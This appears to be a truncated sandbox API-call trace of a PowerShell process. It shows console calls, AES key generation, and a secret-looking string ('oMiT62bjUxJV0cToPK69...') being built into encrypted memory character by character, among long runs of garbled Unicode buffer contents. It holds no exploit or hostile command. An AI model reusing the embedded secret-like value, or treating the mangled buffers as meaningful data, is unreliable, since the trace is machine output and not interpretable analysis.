[0244.742] GetConsoleOutputCP () returned 0x1b5 [0244.742] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.742] GetConsoleOutputCP () returned 0x1b5 [0244.743] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.743] GetConsoleOutputCP () returned 0x1b5 [0244.743] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.743] GetConsoleOutputCP () returned 0x1b5 [0244.743] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.743] GetConsoleOutputCP () returned 0x1b5 [0244.743] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.744] GetConsoleOutputCP () returned 0x1b5 [0244.744] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.744] GetConsoleOutputCP () returned 0x1b5 [0244.744] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0244.744] GetConsoleOutputCP () returned 0x1b5 [0244.744] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.744] GetConsoleOutputCP () returned 0x1b5 [0244.745] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0244.745] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0244.745] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.745] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24b8568*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24b8568*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0244.746] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0244.746] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0244.747] EtwEventActivityIdControl () returned 0x0 [0244.747] EtwEventActivityIdControl () returned 0x0 [0244.747] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.748] EtwEventActivityIdControl () returned 0x0 [0244.748] EtwEventActivityIdControl () returned 0x0 [0244.748] EtwEventActivityIdControl () returned 0x0 [0244.749] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.750] EtwEventActivityIdControl () returned 0x0 [0244.750] EtwEventActivityIdControl () returned 0x0 [0244.750] EtwEventActivityIdControl () returned 0x0 [0244.752] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x3742b0) returned 1 [0244.753] CryptGenKey (in: hProv=0x3742b0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68d40) returned 1 [0244.753] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.753] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.754] CryptExportKey (in: hKey=0x5c68d40, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24bff34, pdwDataLen=0x5a2e8c4 | out: pbData=0x24bff34*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0244.754] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.755] EtwEventActivityIdControl () returned 0x0 [0244.755] EtwEventActivityIdControl () returned 0x0 [0244.755] EtwEventActivityIdControl () returned 0x0 [0244.756] SysStringLen (param_1="") returned 0x8 [0244.756] SysStringLen (param_1="o") returned 0x8 [0244.756] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.756] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0244.756] SysStringLen (param_1="싃頀唐꘴냚畩숖") returned 0x8 [0244.756] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.756] SysStringLen (param_1="oM") returned 0x8 [0244.756] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.756] SysStringLen (param_1="쐰휠\㛘铦㵿묅蝿≈) returned 0x8 [0244.756] SysStringLen (param_1="쐰휠\㛘铦㵿묅蝿≈) returned 0x8 [0244.756] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.756] SysStringLen (param_1="oMi") returned 0x8 [0244.756] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.757] SysStringLen (param_1="띮ở줇쐂올೘㎇") returned 0x8 [0244.757] SysStringLen (param_1="띮ở줇쐂올೘㎇") returned 0x8 [0244.757] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.757] SysStringLen (param_1="oMiT") returned 0x8 [0244.757] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.757] SysStringLen (param_1="䁞蔅篮씭꧖ڧ桩偿") returned 0x8 [0244.757] SysStringLen (param_1="䁞蔅篮씭꧖ڧ桩偿") returned 0x8 [0244.757] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.757] SysStringLen (param_1="oMiT6") returned 0x8 [0244.757] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.757] SysStringLen (param_1="䞌傐አ䷟Ỏ뮞勒᭣") returned 0x8 [0244.757] SysStringLen (param_1="䞌傐አ䷟Ỏ뮞勒᭣") returned 0x8 [0244.757] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.758] SysStringLen (param_1="oMiT62") returned 0x8 [0244.758] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.758] SysStringLen (param_1="킢䆭띠㨽ퟆᴪ藠㽕") returned 0x8 [0244.758] SysStringLen (param_1="킢䆭띠㨽ퟆᴪ藠㽕") returned 0x8 [0244.758] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.758] SysStringLen (param_1="oMiT62b") returned 0x8 [0244.758] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.758] SysStringLen (param_1="㮃龋㶞尝\៞㙟≗) returned 0x8 [0244.758] SysStringLen (param_1="㮃龋㶞尝\៞㙟≗) returned 0x8 [0244.758] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.758] SysStringLen (param_1="oMiT62bj") returned 0x8 [0244.758] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.759] SysStringLen (param_1="鿳尢枧ỡο㦥䃹") returned 0x8 [0244.759] SysStringLen (param_1="鿳尢枧ỡο㦥䃹") returned 0x8 [0244.759] SysStringLen (param_1="鿳尢枧ỡο㦥䃹") returned 0x8 [0244.759] SysStringLen (param_1="鿳尢枧ỡο㦥䃹") returned 0x10 [0244.759] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.760] SysStringLen (param_1="oMiT62bjU撷჎ꐯ衐忮䫖跂") returned 0x10 [0244.760] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.760] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⇠\⫙휸㫗㍸羚⋑) returned 0x10 [0244.760] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⇠\⫙휸㫗㍸羚⋑) returned 0x10 [0244.760] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.760] SysStringLen (param_1="oMiT62bjUx჎ꐯ衐忮䫖跂") returned 0x10 [0244.760] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.760] SysStringLen (param_1="鿳尢枧ỡο㦥䃹쌻\웜\⋚礮뿡蚚") returned 0x10 [0244.760] SysStringLen (param_1="鿳尢枧ỡο㦥䃹쌻\웜\⋚礮뿡蚚") returned 0x10 [0244.760] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.760] SysStringLen (param_1="oMiT62bjUxJꐯ衐忮䫖跂") returned 0x10 [0244.760] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.761] SysStringLen (param_1="鿳尢枧ỡο㦥䃹झ쮔赡䑟䥚") returned 0x10 [0244.761] SysStringLen (param_1="鿳尢枧ỡο㦥䃹झ쮔赡䑟䥚") returned 0x10 [0244.761] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.761] SysStringLen (param_1="oMiT62bjUxJV衐忮䫖跂") returned 0x10 [0244.761] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.761] SysStringLen (param_1="鿳尢枧ỡο㦥䃹ꩆ㨗䒙理᳧곅뛫귨") returned 0x10 [0244.761] SysStringLen (param_1="鿳尢枧ỡο㦥䃹ꩆ㨗䒙理᳧곅뛫귨") returned 0x10 [0244.761] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.761] SysStringLen (param_1="oMiT62bjUxJV0忮䫖跂") returned 0x10 [0244.761] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.761] SysStringLen (param_1="鿳尢枧ỡο㦥䃹睱⻙㉶\⇛罡娢飋⊊) returned 0x10 [0244.761] SysStringLen (param_1="鿳尢枧ỡο㦥䃹睱⻙㉶\⇛罡娢飋⊊) returned 0x10 [0244.761] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.761] SysStringLen (param_1="oMiT62bjUxJV0c䫖跂") returned 0x10 [0244.762] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.762] SysStringLen (param_1="鿳尢枧ỡο㦥䃹嚃ठ㛩矽崟씚ꑷ՘") returned 0x10 [0244.762] SysStringLen (param_1="鿳尢枧ỡο㦥䃹嚃ठ㛩矽崟씚ꑷ՘") returned 0x10 [0244.762] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.762] SysStringLen (param_1="oMiT62bjUxJV0cT跂") returned 0x10 [0244.762] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.762] SysStringLen (param_1="鿳尢枧ỡο㦥䃹❔畔蔅度\\") returned 0x10 [0244.762] SysStringLen (param_1="鿳尢枧ỡο㦥䃹❔畔蔅度\\") returned 0x10 [0244.762] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.762] SysStringLen (param_1="oMiT62bjUxJV0cTo") returned 0x10 [0244.762] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.762] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木⋶) returned 0x10 [0244.763] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木⋶) returned 0x10 [0244.763] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木⋶) returned 0x10 [0244.763] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木⋶) returned 0x18 [0244.763] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.763] SysStringLen (param_1="oMiT62bjUxJV0cToP䛡ロᑦ剅嬊㭜") returned 0x18 [0244.763] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.763] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뛶貓\槟㟺䬞䞔贉") returned 0x18 [0244.763] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뛶貓\槟㟺䬞䞔贉") returned 0x18 [0244.764] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.764] SysStringLen (param_1="oMiT62bjUxJV0cToPKロᑦ剅嬊㭜") returned 0x18 [0244.764] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.764] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木鷶둦恳뚅뵩্醝⋿) returned 0x18 [0244.764] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木鷶둦恳뚅뵩্醝⋿) returned 0x18 [0244.764] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.764] SysStringLen (param_1="oMiT62bjUxJV0cToPK6ᑦ剅嬊㭜") returned 0x18 [0244.764] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.764] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木勶ࠪ浛⴬ӕ㫀ጏ≱) returned 0x18 [0244.764] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木勶ࠪ浛⴬ӕ㫀ጏ≱) returned 0x18 [0244.764] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.764] SysStringLen (param_1="oMiT62bjUxJV0cToPK69剅嬊㭜") returned 0x18 [0244.765] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.765] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木诶鬬룼좥瞺絾烬⊿) returned 0x18 [0244.765] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木诶鬬룼좥瞺絾烬⊿) returned 0x18 [0244.765] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.765] SysStringLen (param_1="oMiT62bjUxJV0cToPK69q嬊㭜") returned 0x18 [0244.765] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.765] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木죶괾냏╹伎푛倨⊚) returned 0x18 [0244.765] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木죶괾냏╹伎푛倨⊚) returned 0x18 [0244.765] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.765] SysStringLen (param_1="oMiT62bjUxJV0cToPK69ql嬊㭜") returned 0x18 [0244.765] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.765] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木胶\㗙缐쬼ᷬ뮸\⋞) returned 0x18 [0244.765] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木胶\㗙缐쬼ᷬ뮸\⋞) returned 0x18 [0244.765] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.766] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlm㭜") returned 0x18 [0244.766] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.766] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木\⛟\㻙鏲彘顽즠鶡⊰) returned 0x18 [0244.766] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木\⛟\㻙鏲彘顽즠鶡⊰) returned 0x18 [0244.766] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.766] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmE") returned 0x18 [0244.766] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.766] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ∤) returned 0x18 [0244.766] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ∤) returned 0x18 [0244.766] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ∤) returned 0x18 [0244.767] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ∤) returned 0x20 [0244.767] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.767] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEb鉶浘燇駥㡈ᕖ") returned 0x20 [0244.767] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.767] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ贤臅㬞ꃘﻟ䠛ശ슬≅) returned 0x20 [0244.767] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ贤臅㬞ꃘﻟ䠛ശ슬≅) returned 0x20 [0244.767] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.767] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbi浘燇駥㡈ᕖ") returned 0x20 [0244.767] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.768] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ⤤暐艅㰧솙톛瘀⊂) returned 0x20 [0244.768] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ⤤暐艅㰧솙톛瘀⊂) returned 0x20 [0244.768] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.768] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC燇駥㡈ᕖ") returned 0x20 [0244.768] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.768] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ똤㾪⦛鞭杕鏦߷∛) returned 0x20 [0244.768] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ똤㾪⦛鞭杕鏦߷∛) returned 0x20 [0244.768] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.768] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4駥㡈ᕖ") returned 0x20 [0244.768] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.768] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦḤ依춽氽뙽놰ᷢ鿆≸) returned 0x20 [0244.768] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦḤ依춽氽뙽놰ᷢ鿆≸) returned 0x20 [0244.768] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.769] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4R㡈ᕖ") returned 0x20 [0244.769] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.769] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ焤瀞Ϥ恕キ䶖랡⊪) returned 0x20 [0244.769] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ焤瀞Ϥ恕キ䶖랡⊪) returned 0x20 [0244.769] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.772] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4Rbᕖ") returned 0x20 [0244.772] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.772] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ㴤向焆幝勫螃ಜ푰∖) returned 0x20 [0244.772] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦ㴤向焆幝勫螃ಜ푰∖) returned 0x20 [0244.772] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.772] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbT") returned 0x20 [0244.772] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.772] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦꜤퟑ絪슜ౣ쬏ീ朼∬) returned 0x20 [0244.772] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦꜤퟑ絪슜ౣ쬏ീ朼∬) returned 0x20 [0244.772] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.772] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbTh") returned 0x20 [0244.773] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.773] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅≑) returned 0x20 [0244.773] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅≑) returned 0x20 [0244.773] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅≑) returned 0x20 [0244.773] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅㙑∍) returned 0x28 [0244.774] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.774] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn愈⛥⦯ޥﱪ") returned 0x28 [0244.774] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.774] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅酑⏽ዐ鸡꺧領廦卲⊛) returned 0x28 [0244.774] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅酑⏽ዐ鸡꺧領廦卲⊛) returned 0x28 [0244.774] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.774] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4⛥⦯ޥﱪ") returned 0x28 [0244.774] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.774] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅ꏐꎲ뉯㵕⌍鲀⋍) returned 0x28 [0244.774] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅ꏐꎲ뉯㵕⌍鲀⋍) returned 0x28 [0244.774] SystemFunction041 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.775] SysStringLen (param_1="oMiT62bjUxJV0cToPK69qlmEbiC4RbThn4K⛥⦯ޥﱪ") returned 0x28 [0244.775] SystemFunction040 (in: Memory=0x5c9b604, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b604) returned 0x0 [0244.775] SysStringLen (param_1="鿳尢枧ỡο㦥䃹⢦繴䞄꺨\巙祀木뿶ㆪचો㜒▎ɦﬤ䜚鄸腐湲簀꽅㵑킭伀਺뜆ꞿ䩮⋎) returned 0x28 [0244.775] SysStringLen 